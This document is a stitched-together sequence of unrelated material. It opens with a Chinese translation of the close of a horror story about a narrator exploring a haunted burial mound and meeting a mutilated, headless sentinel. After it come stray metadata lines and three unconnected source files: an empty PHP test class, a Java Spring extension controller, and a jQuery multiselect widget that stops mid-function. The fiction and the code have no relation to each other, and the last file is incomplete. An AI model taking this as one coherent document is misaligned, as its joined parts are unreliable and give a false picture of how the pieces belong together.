等到要走下楼去吃早餐的时候,我几乎不知道该对康普顿与他的母亲,以及那些陆续抵达的好奇访客说些什么。我快刀斩乱麻式地说出了自己笔记中的一部分内容,然后又跟着嘟哝出了我自己的看法。我告诉他们,我觉得那东西是某些过去前往土丘的探索者们所留下的恶作剧,是一个精致而又巧妙的骗局。当他们得知那份手稿的主要内容后,似乎所有人都一致认可了这种看法。奇怪的是,当人们接受了某些人在向他们开了个玩笑这一观点之后,那些在早餐时间聚集在康普顿家里的人们——以及宾格镇里所有那些后来得知讨论内容的镇民——都感觉到阴沉压抑的气氛被一扫而空了。虽然人们都知道最近十几年间在土丘附近所发生过的神秘事件,也知道它们本身就和手稿上的任何内容一样离奇,更知道这些问题一直都远没有得到任何可以让人们接受的答案,但在一时间,我们似乎完全忘掉了这些谜团。 直到我询问有谁自愿与我一同探索土丘的秘密时,恐惧与顾虑才重新回到镇民之间。我希望能召集起一个更大一些的挖掘小队——但前那个令人不安的地方对于宾格镇的居民来说,似乎没有过去那么有吸引力了。而当我望向土丘,瞥见那上面移动的小点时,一种恐怖的感觉开始在我心里蔓延。我知道那就是出现在白昼里的哨兵;尽管我对那份手稿所作出的令我颇为骇然的可怖叙述充满了怀疑,但它却为任何与那个地方有关的东西添上了一层全新的可怖意义。到了这个时候,我已经缺乏勇气去用望远镜去观察那个移动的黑点了。相反,我开始虚张声势,就像我们身陷噩梦时一样——当我们意识到自己身陷梦魇时,我们便会不顾一切地冲向更加恐怖的深处,希望尽早结束恐怖的一切。我的铁镐与铲子就放在那座土丘上,所以我只需要用旅行袋装上那些较小的随身物件。我把那只奇怪的圆筒与里面手稿都装进了旅行袋里,隐约感觉自己也许能发现某些东西来验证那些用绿色墨迹写下的西班牙文字。即使一个聪明的恶作剧也可能基于那些过去的探险者所发现的某些有关土丘的事情——而且那有磁性的金属更是出奇的诡异!灰鹰的神秘护身符被我拴在皮绳上,依旧挂在自己的脖子上。 当我走向那座土丘的时候,我并没有仔细去看土丘的顶端,但当我抵达那里的时候,并没有看到任何人。我沿着昨天的路开始攀爬土丘,却一直在想象近在眼前的发现,而且颇为困扰。如果奇迹发生,手稿里的某一部分的确是真实的话,那么我会发现些什么?如果那样的话,我不禁开始思索,那么肯定有某种灾难突然袭击了手稿里那个几乎就要抵达外部世界的西班牙人扎曼阿克拉——也许是一次无意识的实体化过程。如果这样的话,他自然会被任何正在执勤的哨兵抓住——可能是那些声名败坏的自由人,也可能会更加讽刺,也许抓住他的恰恰就是最早帮助他计划并协助他进行第一次逃跑的缇拉-娅布。也许在接下来的挣扎中,金属圆筒连同里面的手稿可能留在了土丘的顶上。哨兵可能忽视了它,然后在接下来的近四个世纪里,这只圆筒被渐渐地掩埋了起来。但我必须说明,在我爬向顶端时,其实并不应该去思索着这样离奇夸诞的事情。但如果这故事里真的有一部分是真实的话,扎曼阿克拉被拖回去之后一定会面临着非常可怖的命运……圆形竞技场……变得残缺不全……变成一个活死人奴隶继续在阴暗、满是硝石的隧道里履行他的职责……变成残缺不全的尸体继续担任着一个无意识的内部守卫。 而后,极度的震惊驱赶走了我脑海里那些可怖而病态的猜测。因为我瞥了一眼那椭圆形的山顶,便立刻发现我留在土丘顶上的铁镐与铲子被人偷走了。事情的发展变得让人极为恼火与不安起来;可是,考虑到宾格镇的人们似乎极为不愿前往土丘,这一结果又显得有些让人迷惑不解。难道这种抗拒情绪是假装的,难道镇上那些在十分钟前还严肃注释我离开的人们,正在为我的挫败此咯咯发笑么?我拿出了自己的望远镜,望向那些站在镇子边缘张大嘴的人们。但是,他们看起来似乎并没有在等着看我的发怒与出丑;难道整件事情实际上并不是一个牵涉到所有镇民与保留地居民的惊天玩笑——那些传说,手稿,圆筒所有一切并是他们的玩笑?我回想起我在远处看见哨兵时的情景,接着回想到他那种难以解释的消失;同样也想起了老灰鹰的举动;想起康普顿与他母亲的言辞和表情,以及大多数宾格镇人民所表现出的那种明白无误的恐惧。整体上看,这并不像是一个整个镇子参与其中的玩笑。他们的恐惧与问题显然都是真实的,但显然在宾格镇里一两个爱开玩笑的大胆之人偷偷来到了土丘上,并带走了我留下的那些工具。 我在土丘上留下的其他东西还都保持着原样——我用砍刀割倒的灌木,丘顶北端那个扫稍稍有些下凹的碗形洼地,以及我用双刃短刀挖出那个磁性圆筒时留下的打动,都维持着原样。在这种情况下再返回宾格镇去取新的铁锹与铲子简直就是在对那些暗地里的恶作剧者表示莫大的妥协,而我无法接受这种妥协,因此我决定不论如何先尽力依靠自己旅行包里的双刃刀与大砍刀来展开工作;于是,我取出这些工具,开始在那个碗状的洼地里进行挖掘——因为在我看来,这个地方在过去的时候很可能是一处进入土丘的入口。随着我不断向下挖掘,我像昨天一样再次有了一种奇怪的感觉,仿佛有一股风骤然涌起吹向了我——随着我越挖越深,穿过半根错节的红色土壤进入下方来自其他地区的黑色沃土时,这种感觉似乎也变得更强了,并且愈发像是许多看不见的无形之手在拉扯着我的腰。挂在我脖子上的护身符也在这微风中古怪地扭动着——它并不是向着任何个方向摆动,就像是被埋藏着的圆筒所吸引时一般,但这次却更加微弱与弥散,以一种完全难以描述的方式拉扯着。 然后,在毫无预兆的情况下,我脚下根系纠缠的土壤开始突然向下陷去,同时我听到了一些微弱洒落声,像是我脚下深处的某些东西掉落进了一处空隙里。然后那种阻碍我行动的风,或者阻碍我行动的力量,抑或拉扯着我的无形之手似乎正从下沉的地方涌上来,而当我向后跳去避免陷入塌方时,我感觉到这种力量也在帮着我,将我向后推去。但当我弯腰匐在土坑边缘上用大砍刀削砍盘结在植物根系上的土块时,我再次发觉那种力量又在对抗着我——但那种力量始终没有强得足够让我停下手头的工作。我割断的根茎越多,下方就传来更多的坍陷的声音。直到最后,整个坑洞开始向着中心下沉,并在我的注视下开始滑向了下方一个巨大的空穴,并露出一个大小合适、被根系围绕着的洞口。于是我又用大砍刀挥砍了几下,砍断了最后缠绕着坍陷部分的树根,接着坍陷的土块整个跌落进了洞穴里,在最后的障碍被移除后,一股古怪而又寒冷刺骨的空气涌了上来。在上午阳光的照耀下,一个起码三平方英尺的巨大洞口正对着我,敞开着。在洞穴里露出了一节石头阶梯的顶端,而那些倒塌下来的酥松泥土仍在逐渐滑开。我的追寻终于有了些结果!达成目标让我得意洋洋起来,甚至在一时间盖过了恐惧,我把双刃刀与大砍刀收进了旅行袋里,拿出了明亮的手电筒,怀着极其焦躁的情绪准备独自展开一次成功的探险,侵入这个我所揭露出来的、难以置信的地下世界。 最前面几级台阶非常难以通过,因为上方塌下来的泥土阻塞住了石头阶梯,同时下方还不断地涌出一股股不祥的冷风。挂在我脖子上的护身符古怪地摇晃着。当上方的日光离我远去时,更是我感到有些遗憾。手电筒的光照出了由巨大玄武岩修建的石墙,上面非常潮湿、满是水渍,并且结上了一层厚厚的盐壳,并且可以不时地在那些硝石沉积下找到一些雕刻后留下的痕迹。我更加紧紧地握住了自己的旅行袋,并且为右边口袋里那把治安官给我的笨重转轮手枪的份量感到安心。向下走了一段后,台阶开始转弯,通道里的障碍物也逐渐地变少了。墙上的雕刻开始变得有迹可寻起来,而当我发现那些怪诞的东西与自己发现的那只圆筒上的浅浮雕是何等的相似时,我不由得打了个寒颤。那种风或是无形的力量继续不怀好意地阻碍着我前进,甚至在一两处转弯的地方,我隐约感觉手电筒的光柱扫到了一些纤细、几乎透明的东西,正像是当我用望远镜眺望远方丘顶上的哨兵时所看到的那样。当我遇到这种视觉幻象时,我会停下来片刻,努力让自己镇定下来。这段非常难受的体验同时也是我职业生涯中最重要考古学壮举,然而在这段经历的最开始,我并没有让紧张的情绪征服我。 但我非常希望当时并没有停在那个地方,因为这个举动将我的注意力停留在了某些让我极为不安的东西上。那是一个非常小的物件,就我下方几级台阶上靠墙的位置上,但这个东西却让我的理智受到了严重地考验,甚至带出了一系列让人极为惊惶与恐惧的猜测。从泥土中灌木根系的生长情况以及土壤累积的厚度来看,位于我上方那个进来时所通过的入口已经被泥土封死了数代人之久;然而我面前的东西明显并没有那么长的历史。因为那是一只手电筒,与我手里拿着的这只相差无几——只是它在这墓穴般的潮湿中已经弯曲变形、结满了盐壳,但我无论如何绝对不会认错。我向下走了几级台阶,捡起了它,用粗陋的外套擦掉了上面覆盖着的讨厌沉积物。电筒其中一条镍带上印刻着一个名字与地址,“詹姆斯·C·威廉斯,马萨诸塞州,剑桥,特洛布里奇大街17号[注]”——这让我意识到这只手电筒属于于1915年6月28日失踪的那两个位勇敢的大学教师中的一人,可是我刚刚才掘开了近一个世纪堆积起来的土壤!这东西怎么会落在这里?有另一个入口——或者还是那个虚化与重组的疯狂想法真的确有其事? _[注:没错Trowbridge St.特洛桥大街...]_ 当我继续深入那似乎永无止尽的阶梯时,疑虑与恐惧逐渐在我心中弥漫。如果这阶梯永无止尽呢?墙上的雕刻变得越来越清晰,而且我渐渐开始意识到它们是一系列的叙事性雕刻。当我认出许多与我旅行袋中的手稿上所描述的昆扬历史有着许多明白无误的重合时,我开始感到了恐慌。我第一次开始质疑我深入地下的举动是否明智,并且开始思考我是否该尽早折返,以免我遇上某些东西从而再也无法神智清醒地返回外部世界。但我没有犹豫太久,作为一个弗吉尼亚人,我感觉到祖先的战士与冒险家血统涌动在我的身体里,形成了一种保护,足以击退任何已知与未知的危险。 我深入地穴的速度变得更快了,并且开始学着尽量避免去研究那些会令我丧失勇气的可怖浅浮雕与阴刻壁画。突然,我看到前面敞开着一扇拱形的入口,并立即意识到这段冗长的台阶终于走到了尽头。当我认识到这一点时,恐惧也跟着攀升到了顶点,因为在我面前敞开着一个带穹顶的巨室,这个巨室的轮廓是那么的熟悉——那是一个巨大的圆形空间,其中的每一处细节都与扎曼阿克拉在手稿里所描述的那个排列着许多雕刻的房间一模一样。 就是那个地方。绝对不会有错。如果要说这其中还存有任何可供怀疑的空间,这空间也被穹顶对面、我直接望见的东西给驳回了。那是第二座拱形的入口,连接着一条长长的狭窄通道,并且在它的入口处有着一对相互对望的巨大壁龛。壁龛里供奉着两幅巨大、让人嫌恶却又熟悉得令人骇然的图案。黑暗而不洁的伊格与令人毛骨悚然的图鲁永恒地蹲伏在这里,隔着通道相互凝视着,自人类世界的萌芽刚诞生时起直到现在一直如此。 从这开始,我对之后叙述的可信度不做任何的保证——也不敢保证我认为我所看见的东西都是真实的。那一切完全不合常理,太过恐怖与难以置信,以至于不可能是任何的神智清醒的人类所经历过的体验或是客观的事实。虽然手中的电筒能在我面前打出了强烈的光柱,但它仍然无法为这个巨大的地穴提供完整的全面照明;所以我开始移动手电,准备逐步探索那些巨大的石墙。当我移动手电筒的光柱时,我恐惧地发现这个地方并不是空的,相反这里散布着一些古怪的设备与器具以及一堆堆包裹,这预示着在不久之前还有一定数量的人口生活在这里——没有任何岁月留下的硝石沉积,而是一些非常现代但却奇形怪状的物件与补给,像是日常的用品。然而,当我的手电筒落在每一个物品或每一组器件上时,那些清晰的轮廓便立刻开始模糊起来;直到最后我几乎无法确定这些东西到底存在于真实的物质界,还是仅仅只是精神领域的产物。 这个时候,逆向对抗着我的风开始愈发狂暴地吹卷过来,那些看不见的手充满恶意地拖拽着我,拉扯着我脖子上那枚有磁性的古怪护身符。疯狂的幻想涌进我的脑海。我想起了那份手稿,想起了手稿里提到的、常驻于此的守备队——十二个死尸奴隶伊莫·比合以及六个活着但却部分虚化的自由人——那是在1545年——三百八十三年前的时候……从那后发生了什么?扎曼阿克拉预言了变化……逐步的崩溃与瓦解……更多的虚化……越来越赢弱……是不是灰鹰的护身符让他们陷入了两难的境地?……他们视之为神物的图鲁金属——他们是不是正徒劳地试图将护身符扯离我身边,以便他们能对我做一些他们曾对其他人做过的事情?……我战栗地发现自己此刻已经完全相信了扎曼阿克拉手稿里的所有一切,并且以此为据开始不断构建我的猜想——肯定不会是这样——我必须镇定下来—— 但,该诅咒的是,每次我略微恢复镇定之时,我便会看到某些新的东西,将稍稍恢复的镇定击得更为粉碎。这一次,当我的意志力使得那些若隐若现的设备变成朦胧不清时,手电筒照亮了两件非常与众不同的东西;这两件东西极为真实,同时也来自现实而理智的世界;然而它们却比其他之前见过的任何东西更加严重地动摇了我的理智——因为我很清楚它们是什么,而且极为清楚,在正常情况下,它们绝不会出现在这里。它们是我丢失的铁锹与铲子,它们靠在一起,整齐地靠在这座可怖地穴那雕刻着邪恶图案的石墙上。老天在上——我肯定对自己嘟哝过那些宾格镇里大胆的恶作剧者。 这就是最后一根稻草。在那之后,那该诅咒的手稿催眠了我,让我的的确确看到了某些东西那半透明的形体正在推挤拉扯着我;它们推挤拉扯着——那些仍残存着部分人类特征、不洁的远古之物——那些肢体完整的东西,还有那些残缺不全的病态个体……所有这些,以及其他那些存在——那些有着猿猴般的面容与突出犄角的四脚邪物……而到此刻为止,在这个位于地下满布硝石的地狱里却没有一丝的声响。 接着,我听到了一个声音——那是一阵突然出现的声响;沉闷、单调、同时也不断靠近的声响。这无疑预示着某个就像铁锹与铲子那样以真实物质存在的东西过来了——某些与身边围绕着我的这些阴影完全不同的东西,然而与那些阴影一样,它同样也与地球表面那些我们所理解的任何正常生命形式完全不同。我精疲力竭的大脑努力试图令我准备好面对即将到来的东西,但却无法作出任何的预示。我只能一遍又一遍地对自己说:“它就算来自地狱,但起码不是虚化的。”那单调的声响变得越来越清晰,从那机械的脚踏声中,我意识到那是一个在黑暗中潜步而行的死物。接着——老天在上,我在手电筒照亮的光柱中看到了那个东西;看到它犹如一个哨兵一般矗立在噩梦般的大蛇伊格与章鱼头图鲁之间的狭窄通道前。 让我镇定一下好描述出我看到了什么;解释清楚我为何会扔掉手电筒与旅行袋,空手狂奔进伸手不见五指的黑暗中。一种无意识的状态将我包裹了起来,直到太阳与远处叫喊与开枪的村民将我唤醒,并发现自己正大口喘气地躺在土丘的顶端前,这种无意识的状态一直仁慈地保护着我。然而,我仍不知道究竟是什么引导我再度回到了地表。我只知道那些站在宾格镇的旁观者看到我在消失了三个小时后挣扎着再度出现在了他们的视野里;看到我摇摇晃晃地站起来,接着又砰然倒下,仿佛吃了颗子弹一般。没有人敢过来帮我一把;但他们知道我一定处在很一个糟糕的情况,所以他们尽力齐声大吼,鸣枪示警,试图能够唤醒我。 这些举动最后终于起了作用。当我清醒过来时,想要逃离那依旧敞开着的黑暗洞穴的急切渴望催促着我,让我几乎是滚着爬下了土丘的一侧。我的手电筒、工具、旅行袋以及装在旅行袋里的手稿全都留在了那下面;但也很容易理解为什么我,或者其他人,再也没有去找过这些东西。我仅仅向镇民们含糊地提到了雕画与塑像还有蛇以及崩溃的神经。而有人也提到在我挣扎着则返回镇上的时候,那个鬼魂般的哨兵又重新出现在了土丘的顶端。听到这些时,我感到了一阵晕眩。那天晚上我便离开了宾格镇,并且再也没有回去过,不过他们告诉我那些鬼魂依旧和过去一样固定地出现在土丘上。 但是我最后仍决心要说出那些我不敢告诉宾格镇居民的事情;说出那个恐怖的八月下午到底发生了什么。然而我却不知道该如何说起——听到最后你也许会为我的缄默寡言感到奇怪,但请记住想象那种恐怖是一回事,但真真实实地亲眼看见它却是另一回事。而我真真实实地看到了它。我想你们应该记得我早前曾引用过一个名叫希顿的年轻人的故事——这个聪明的年轻人于1891年的一天离开了镇子,前往土丘,当晚他回来时已成了一个呆头呆脑的白痴。此后的八年间,他一直嘟哝着某些恐怖的事情,并最后死于癫痫发作。他一直都嚷着的只有:“那个白人——老天在上,他们对他做了什么……” 我与可怜的希顿看到了同样的东西——而且我在看到它之前曾阅读过那份手稿,于是我比他更清楚那个东西的历史。这让一切都变得更糟——因为我知道它意味着什么;所有东西仍旧在那座土丘下徘徊不去,孽生腐坏,潜伏等待着。我说过,它机械地踏步走走出了狭窄走道,如同哨兵一般站在恐怖的偶像伊格与图鲁之间的通道入口前。这是自然而然的事情——因为那东西本身就是一名哨兵。作为惩罚,它被制作成了一个看守大门的哨兵,而且它已经死了——那是一具没有头部、没有手臂、没有小腿也没有其他常见部分的人类躯体,白人的躯体。很显然,如果那手稿与我所认为的一样是真实的话,那个东西在死亡并被外在的机械装置驱动控制之前,曾被送进圆形竞技场里用来娱乐与消遣。 在它白色、仅仅只有少量体毛的胸口上篆刻或是烙印着某些字母——我并没有停下来多做研究,但仍注意到那是些笨拙、错乱的西班牙语;某个即不熟悉常用语法也不熟悉罗马字母的题名者留下了这些笨拙的西班牙语,将之作为一种嘲弄与讽刺。那题名上写着 **“Secuestrado a la voluntad de Xinaián en el cuerpo decapitado de Tlayúb”** ——“由无头躯体缇拉-娅布依昆扬之意志所抓获。” ### The End
{ "pile_set_name": "Github" }
<?php namespace Woothee\Tests; use PHPUnit\Framework\TestCase as PHPUnitTestCase; abstract class TestCase extends PHPUnitTestCase { }
{ "pile_set_name": "Github" }
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specic language governing permissions and * limitations under the License. */ package app.metatron.discovery.domain.extension; import org.apache.commons.collections4.CollectionUtils; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.WebDataBinder; import org.springframework.web.bind.annotation.InitBinder; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RestController; import java.util.HashMap; import java.util.List; import java.util.Map; import java.util.stream.Collectors; import app.metatron.discovery.extension.dataconnection.jdbc.dialect.JdbcDialect; import app.metatron.discovery.util.CaseInsensitiveConverter; @RestController @RequestMapping("/api") public class ExtensionController { private static Logger LOGGER = LoggerFactory.getLogger(ExtensionController.class); @Autowired ExtensionProperties extensionProperties; @Autowired List<JdbcDialect> jdbcDialects; @RequestMapping(value = "/extensions/{extensionType}", method = RequestMethod.GET) public ResponseEntity<?> findExtensionInfoByType(@PathVariable ExtensionProperties.ExtensionType extensionType) { switch (extensionType){ case LNB: List<ExtensionProperties.Lnb> lnbs = extensionProperties.getLnb(); if (CollectionUtils.isEmpty(lnbs)) { return ResponseEntity.noContent().build(); } return ResponseEntity.ok(lnbs); case CONNECTION: if(jdbcDialects == null || jdbcDialects.size() == 0){ return ResponseEntity.noContent().build(); } List<Map<String, Object>> connectionList = jdbcDialects.stream() .filter(jdbcDialect -> !jdbcDialect.getImplementor().equals("STAGE")) .map(jdbcDialect -> { Map<String, Object> dialectInfo = new HashMap<>(); dialectInfo.put("implementor", jdbcDialect.getImplementor()); dialectInfo.put("scope", jdbcDialect.getScope()); dialectInfo.put("name", jdbcDialect.getName()); dialectInfo.put("inputSpec", jdbcDialect.getInputSpec()); dialectInfo.put("iconResource1", jdbcDialect.getIconResource1()); dialectInfo.put("iconResource2", jdbcDialect.getIconResource2()); dialectInfo.put("iconResource3", jdbcDialect.getIconResource3()); dialectInfo.put("iconResource4", jdbcDialect.getIconResource4()); return dialectInfo; }) .collect(Collectors.toList()); return ResponseEntity.ok(connectionList); case LINEAGE: lnbs = extensionProperties.getLnb(); boolean showLineage = false; if (CollectionUtils.isNotEmpty(lnbs)) { for (ExtensionProperties.Lnb lnb : extensionProperties.getLnb()) { if ("Lineage".equals(lnb.getName())) { showLineage = true; break; } } } return ResponseEntity.ok(showLineage); default: throw new IllegalArgumentException("Not supported type " + extensionType); } } @InitBinder public void initBinder(final WebDataBinder webdataBinder) { webdataBinder.registerCustomEditor(ExtensionProperties.ExtensionType.class, new CaseInsensitiveConverter(ExtensionProperties.ExtensionType.class)); } }
{ "pile_set_name": "Github" }
/** * PrimeUI MultiSelect Widget */ (function (factory) { if (typeof define === 'function' && define.amd) { // AMD. Register as an anonymous module. define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { // Node/CommonJS module.exports = function( root, jQuery ) { factory(jQuery); return jQuery; }; } else { // Browser globals factory(jQuery); } }(function ($) { $.widget("primeui.puimultiselect", { options: { defaultLabel: 'Choose', caseSensitive: false, filterMatchMode: 'startsWith', filterFunction: null, data: null, scrollHeight: 200, style: null, styleClass: null, value: null }, _create: function() { this.id = this.element.attr('id'); if(!this.id) { this.id = this.element.uniqueId().attr('id'); } if(this.options.data) { if($.isArray(this.options.data)) { this._generateOptionElements(this.options.data); } } this._render(); if(this.options.style) { this.container.attr('style', this.options.style); } if(this.options.styleClass) { this.container.addClass(this.options.styleClass); } this.triggers = this.container.find('.ui-multiselect-trigger, .ui-multiselect-label'); this.label = this.labelContainer.find('.ui-multiselect-label'); this._generateItems(); //preselection via value option if(this.options.value && this.options.value.length) { var checkboxes = this.items.find('.ui-chkbox-box'); for (var i = 0; i < this.options.value.length; i++) { var index = this.findSelectionIndex(this.options.value[i]); this.selectItem(this.items.eq(index)); } this.updateLabel(); } this._bindEvents(); }, _render: function() { this.choices = this.element.children('option'); this.element.attr('tabindex', '0').wrap('<div class="ui-multiselect ui-widget ui-state-default ui-corner-all" />') .wrap('<div class="ui-helper-hidden-accessible" />'); this.container = this.element.closest('.ui-multiselect'); this.container.append('<div class="ui-helper-hidden-accessible"><input readonly="readonly" type="text" /></div>'); this.labelContainer = $('<div class="ui-multiselect-label-container"><label class="ui-multiselect-label ui-corner-all">' + this.options.defaultLabel + '</label></div>').appendTo(this.container); this.menuIcon = $('<div class="ui-multiselect-trigger ui-state-default ui-corner-right"><span class="fa fa-caret-down"></span></div>') .appendTo(this.container); this._renderPanel(); //filter this.filterContainer = $('<div class="ui-multiselect-filter-container" />').appendTo(this.panelHeader); this.filterInput = $('<input type="text" aria-readonly="false" aria-disabled="false" aria-multiline="false" class="ui-inputtext ui-widget ui-state-default ui-corner-all" />') .appendTo(this.filterContainer); this.filterContainer.append('<span class="fa fa-search"></span>'); this.closeIcon = $('<a class="ui-multiselect-close ui-corner-all" href="#"><span class="fa fa-close"></span></a>').appendTo(this.panelHeader); this.container.append(this.panel); }, _renderPanel: function() { //panel this.panel = $('<div id="'+this.element.attr('id')+ "_panel" +'"class="ui-multiselect-panel ui-widget ui-widget-content ui-corner-all ui-helper-hidden ui-shadow"/>'); this.panelHeader = $('<div class="ui-widget-header ui-corner-all ui-multiselect-header ui-helper-clearfix"></div>').appendTo(this.panel); this.toggler = $('<div class="ui-chkbox ui-widget">' + '<div class="ui-helper-hidden-accessible"><input readonly="readonly" type="checkbox"/></div>' + '<div class="ui-chkbox-box ui-widget ui-corner-all ui-state-default"><span class="ui-chkbox-icon ui-c fa"></span></div>' + '</div>'); this.togglerBox = this.toggler.children('.ui-chkbox-box'); this.panelHeader.append(this.toggler); this.itemsWrapper = $('<div class="ui-multiselect-items-wrapper" />').appendTo(this.panel); this.itemContainer = $('<ul class="ui-multiselect-items ui-multiselect-list ui-widget-content ui-widget ui-corner-all ui-helper-reset"></ul>') .appendTo(this.itemsWrapper); this.itemContainer.css('max-height', this.options.scrollHeight); }, _generateItems: function() { for(var i = 0; i < this.choices.length; i++) { var option = this.choices.eq(i), optionLabel = option.text(); this.listItems = $('<li data-label="' + optionLabel + '" class="ui-multiselect-item ui-corner-all">' + '<div class="ui-chkbox ui-widget">' + '<div class="ui-helper-hidden-accessible"><input readonly="readonly" type="checkbox"/></div>' + '<div class="ui-chkbox-box ui-widget ui-corner-all ui-state-default"><span class="ui-chkbox-icon ui-c fa"></span></div>' + '</div>' + '<label>' + optionLabel + '</label>' + '</li>').appendTo(this.itemContainer); } this.items = this.itemContainer.children('.ui-multiselect-item'); }, _generateOptionElements: function(data) { for(var i = 0; i < data.length; i++) { var choice = data[i]; if(choice.label) this.element.append('<option value="' + choice.value + '">' + choice.label + '</option>'); else this.element.append('<option value="' + choice + '">' + choice + '</option>'); } }, _bindEvents: function() { var $this = this; this.hideNS = 'click.' + this.id, this.resizeNS = 'resize.' + this.id; this._bindItemEvents(this.items.filter(':not(.ui-state-disabled)')); //Toggler this.togglerBox.on('click.puimultiselect', function() { var el = $(this); if(el.children('.ui-chkbox-icon').hasClass('fa-check')) $this.uncheckAll(); else $this.checkAll(); $this.updateLabel(); }); //Filter this._setupFilterMatcher(); this.filterInput.on('keyup.puimultiselect', function() { $(this).trigger('focus'); $this.filter($(this).val()); }); //Container focus this.element.on('focus.puimultiselect', function() { $this.container.addClass('ui-state-focus'); }) .on('blur.puimultiselect', function() { $this.container.removeClass('ui-state-focus'); }); //Closer this.closeIcon.on('click.puimultiselect', function(e) { $this.hide(true); e.preventDefault(); }); //Events to show/hide the panel this.triggers.on('click.puimultiselect', function(e) { if(!$this.disabled) { if($this.panel.is(":hidden")) $this.show(); else $this.hide(true); } }) .on('focus.puimultiselect', function() { $(this).addClass('ui-state-focus'); }) .on('blur.puimultiselect', function() { $(this).removeClass('ui-state-focus'); }) .on('click.puimultiselect', function(e) { $this.element.trigger('focus.puimultiselect'); e.preventDefault(); }); this._bindKeyEvents(); //hide overlay when outside is clicked $(document.body).off(this.hideNS).on(this.hideNS, function (e) { if($this.panel.is(':hidden')) { return; } //do nothing on trigger mousedown var target = $(e.target); if($this.triggers.is(target)||$this.triggers.has(target).length > 0) { return; } //hide the panel and remove focus from label var offset = $this.panel.offset(); if(e.pageX < offset.left || e.pageX > offset.left + $this.panel.width() || e.pageY < offset.top || e.pageY > offset.top + $this.panel.height()) { $this.hide(true); } }); //Realign overlay on resize $(window).off(this.resizeNS).on(this.resizeNS, function() { if($this.panel.is(':visible')) { $this.alignPanel(); } }); }, _unBindEvents: function() { $(window).off(this.resizeNS); $(document).off(this.hideNS); }, _destroy: function() { this._unBindEvents(); }, _bindItemEvents: function(item) { var $this = this; item.on('click.puimultiselect', function() { $this._toggleItem($(this)); PUI.clearSelection(); }); }, _bindKeyEvents: function() { var $this = this; this.element.on('focus.puimultiselect', function() { $(this).addClass('ui-state-focus'); $this.menuIcon.addClass('ui-state-focus'); }).on('blur.puimultiselect', function() { $(this).removeClass('ui-state-focus'); $this.menuIcon.removeClass('ui-state-focus'); }).on('keydown.puimultiselect', function(e) { var keyCode = $.ui.keyCode, key = e.which; switch(key) { case keyCode.ENTER: case keyCode.NUMPAD_ENTER: if($this.panel.is(":hidden")) $this.show(); else $this.hide(true); e.preventDefault(); break; case keyCode.TAB: if($this.panel.is(':visible')) { $this.toggler.find('> div.ui-helper-hidden-accessible > input').trigger('focus'); e.preventDefault(); } break; }; }); this.closeIcon.on('focus.puimultiselect', function(e) { $this.closeIcon.addClass('ui-state-focus'); }) .on('blur.puimultiselect', function(e) { $this.closeIcon.removeClass('ui-state-focus'); }) .on('keydown.puimultiselect', function(e) { var keyCode = $.ui.keyCode, key = e.which; if(key === keyCode.ENTER || key === keyCode.NUMPAD_ENTER) { $this.hide(true); e.preventDefault(); } }); var togglerCheckboxInput = this.toggler.find('> div.ui-helper-hidden-accessible > input'); this._bindCheckboxKeyEvents(togglerCheckboxInput); togglerCheckboxInput.on('keyup.puimultiselect', function(e) { if(e.which === $.ui.keyCode.SPACE) { var input = $(this); if(input.prop('checked')) $this.uncheckAll(); else $this.checkAll(); e.preventDefault(); } }); var itemKeyInputs = this.itemContainer.find('> li > div.ui-chkbox > div.ui-helper-hidden-accessible > input'); this._bindCheckboxKeyEvents(itemKeyInputs); itemKeyInputs.on('keyup.selectCheckboxMenu', function(e) { if(e.which === $.ui.keyCode.SPACE) { var input = $(this), box = input.parent().next(); $this._toggleItem(input.closest('li')); e.preventDefault(); } }); }, _bindCheckboxKeyEvents: function(items) { var $this = this; items.on('focus.puimultiselect', function(e) { var input = $(this), box = input.parent().next(); if(input.prop('checked')) { box.removeClass('ui-state-active'); } box.addClass('ui-state-focus'); }) .on('blur.puimultiselect', function(e) { var input = $(this), box = input.parent().next(); if(input.prop('checked')) { box.addClass('ui-state-active'); } box.removeClass('ui-state-focus'); }) .on('keydown.puimultiselect', function(e) { if(e.which === $.ui.keyCode.SPACE) { e.preventDefault(); } }); }, _toggleItem: function(item) { if(item.hasClass('ui-state-highlight')) this.unselectItem(item); else this.selectItem(item); this.updateLabel(); this.updateToggler(); }, selectItem: function(item) { var checkbox = item.find('> .ui-chkbox'), chkbox = checkbox.children('.ui-chkbox-box'); item.addClass('ui-state-highlight'); chkbox.addClass('ui-state-active'); checkbox.find(':checkbox').prop('checked', true); chkbox.children('.ui-chkbox-icon').addClass('fa-check'); this.choices.eq(item.index()).prop('selected', true); }, unselectItem: function(item) { var checkbox = item.find('> .ui-chkbox'), chkbox = checkbox.children('.ui-chkbox-box'); item.removeClass('ui-state-highlight'); chkbox.removeClass('ui-state-active'); checkbox.find(':checkbox').prop('checked', false); chkbox.children('.ui-chkbox-icon').removeClass('fa-check'); this.choices.eq(item.index()).prop('selected', false); }, filter: function(value) { var filterValue = this.options.caseSensitive ? $.trim(value) : $.trim(value).toLowerCase(); if(filterValue === '') { this.itemContainer.children('li.ui-multiselect-item').filter(':hidden').show(); } else { for(var i = 0; i < this.choices.length; i++) { var choice = this.choices.eq(i), item = this.items.eq(i), itemLabel = this.options.caseSensitive ? choice.text() : choice.text().toLowerCase(); if(this.filterMatcher(itemLabel, filterValue)) item.show(); else item.hide(); } } this.updateToggler(); }, _setupFilterMatcher: function() { this.options.filterMatchMode = this.options.filterMatchMode||'startsWith'; this.filterMatchers = { 'startsWith': this.startsWithFilter ,'contains': this.containsFilter ,'endsWith': this.endsWithFilter ,'custom': this.options.filterFunction }; this.filterMatcher = this.filterMatchers[this.options.filterMatchMode]; }, startsWithFilter: function(value, filter) { return value.indexOf(filter) === 0; }, containsFilter: function(value, filter) { return value.indexOf(filter) !== -1; }, endsWithFilter: function(value, filter) { return value.indexOf(filter, value.length - filter.length) !== -1; }, show: function() { this.alignPanel(); this.panel.show(); this.postShow(); }, hide: function(animate) { var $this = this; 